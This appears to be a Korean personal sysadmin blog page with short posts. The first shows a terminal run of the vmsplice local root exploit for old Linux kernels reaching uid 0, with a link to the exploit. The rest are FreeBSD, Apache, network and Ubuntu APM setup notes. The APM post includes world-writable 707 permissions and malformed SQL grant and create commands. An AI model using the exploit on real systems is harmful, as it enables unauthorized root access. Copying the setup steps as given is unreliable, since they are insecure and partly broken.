Please assign a menu to the primary menu location under menu

Linux Kernel 2.6.17 – 2.6.24.1 vmsplice Local Root Exploit

Linux 2.6.17 – 2.6.24.1 해당되며, 아래에서 보시는 것과 같이 root 로 바로 로그인 됩니다.ruo91@YongBok:~$ uname -aLinux YongBok.com 2.6.18 #1 SMP Fri Sep 22 13:02:54 KST 2006 i686 GNU/Linuxruo91@Yongbok:~$ iduid=1000(hehe) gid=100(users) groups=100(users)ruo91@Yongbok:~$ ./root-exploite———————————–Linux vmsplice Local Root ExploitBy qaaz———————————– mmap: 0x0 .. 0x1000 page: 0x0 page: 0x20 mmap: 0x4000 .. 0x5000 page: 0x4000 page: 0x4020 mmap: 0x1000 .. 0x2000 page: 0x1000 mmap: 0xb7dfd000 .. 0xb7e2f000 rootruo91@Yongbok:~# iduid=0(root) gid=0(root) groups=100(users)Linux Kernel 2.6.17 – 2.6.24.1 vmsplice Local Root Exploithttp://www.milw0rm.com/exploits/5092

FreeBSD – CVSUP으로 최신 포트 유지

– cvsup 설치# pkg_add -r cvsup-without-gui- cvsup 설정 파일 복사 및 수정설정화일이 있는 디렉토리에서 stable-supfile, ports-supfile 두개의 파일을 /etc/cvsup 디렉토리로 복사합니다.# mkdir /etc/cvsup# cp /usr/share/examples/cvsup/stable-supfile /etc/cvsup/# cp /usr/share/examples/cvsup/ports-supfile /etc/cvsup/ports-supfile 파일에 주 업데이트 서버를 지정해줍니다.# ee /etc/cvsup/ports-supfile*default host=cvsup.kr.FreeBSD.org*default release=cvs tag=.stable-supfile 파일에 주 업데이트 서버를 지정해줍니다.# ee /etc/cvsup/stable-supfile*default host=cvsup.kr.FreeBSD.org*default release=cvs tag=RELENG_7_1- cvsup 사용 및 Ports 업데이트cvsup을 실행하여 system 소스코드와 ports 소스코드를 최신의 소스로 업데이트 합니다.# cvsup -L 2 /etc/cvsup/ports-supfile# cvsup -L 2 /etc/cvsup/stable-supfile

Apache 가상호스트 설정

우분투 환경 /etc/apache2/sites-available/default 수정소스컴파일 환경에선 httpd.conf 또는 httpd-vhosts.conf 라던지..거기서 설정…기억안남;;NameVirtualHost *:80# www 셋팅<VirtualHost *:80>    ServerAdmin ruo91@naver.com    ServerAlias yongbok.com www.yongbok.com    DocumentRoot /home/www/    ErrorLog /home/apache2-log/www-error.log    LogLevel warn        SetEnvIf Remote_Addr 192.168.0.2$ do_not_log        CustomLog /home/apache2-log/www-access.log combined env=!do_not_log    ServerSignature On    <Directory “/home/www/”>       Options FollowSymLinks       AllowOverride FileInfo       </Directory> </VirtualHost>## blog 셋팅<VirtualHost *:80>    ServerAdmin ruo91@naver.com    ServerAlias blog.yongbok.com    DocumentRoot /home/blog/    ErrorLog /home/apache2-log/blog-error.log    LogLevel warn#  SetEnvIf Remote 특정 아이피주소에서 접근시 로그를 남기지 않음        SetEnvIf Remote_Addr 192.168.0.2$ do_not_log        CustomLog /home/apache2-log/blog-access.log combined

Ubuntu 네트워크 설정

Ubuntu 리눅스에서 네트워크 설정을 하는 방법입니다. 이 방법은 고정아이피를 설정 할때 많이 사용됩니다.# vi /etc/network/interfaces# This file describes the network interfaces available on your system# and how to activate them. For more information, see interfaces(5).# The loopback network interfaceauto loiface lo inet loopback# The primary network interfaceauto eth0# 고정 아이피 설정iface eth0 inet static    address 192.168.10.2    netmask 255.255.255.0    network 192.168.10.0    broadcast 192.168.10.255    gateway 192.168.10.1    # dns-* options are implemented by the resolvconf package, if installed    dns-nameservers 168.126.63.1 168.126.63.2네임 서버 설정# vi /etc/resolv.conf search kns.korenet.netnameserver 168.126.63.1nameserver 168.126.63.2네트워크 재시작을 합니다./etc/init.d/networking restart

Ubuntu APM 설치 (Apache2, PHP5, Mysql)

우분투 리눅스에서 APM(Apache, PHP, MYSQL) 설치 방법입니다.1. Apache2 설치# apt-get install apache2# echo ‘ServerName localhost’ >> /etc/apache2/apache2.conf2. PHP5 설치# apt-get install php53. MYSQL 설치# apt-get install mysql-server libapache2-mod-auth-mysql php5-mysql설치후 터미널에서 mysql 묻는 창이 뜨면 패스워드를 적고 설치를 마칩니다.–> mysql 접속# mysql -u root -p–> blog 데이터베이스 생성mysql> CREATE DATEBASE blog;–> 사용자 계정 추가mysql> GRANT * ON *.* TO ‘사용자명’@’localhost’ IDENTIFIED BY ‘패스워드’ WITH GRANT OPTION;이제…APM이 잘 실행 되는지 테스트 해봅니다.우선 /home 디렉토리에 www 라는 하위 디렉토리를 생성후 권한을 707로 줍니다.# mkdir /home/www# chmod 707 /home/www아파치 가상호스트 설정을 합니다.# vi /etc/apache2/sites-available/default<VirtualHost *:80>     ServerAdmin ruo91@naver.com     ServerAlias yongbok.com www.yongbok.com     DocumentRoot

1 43 44 45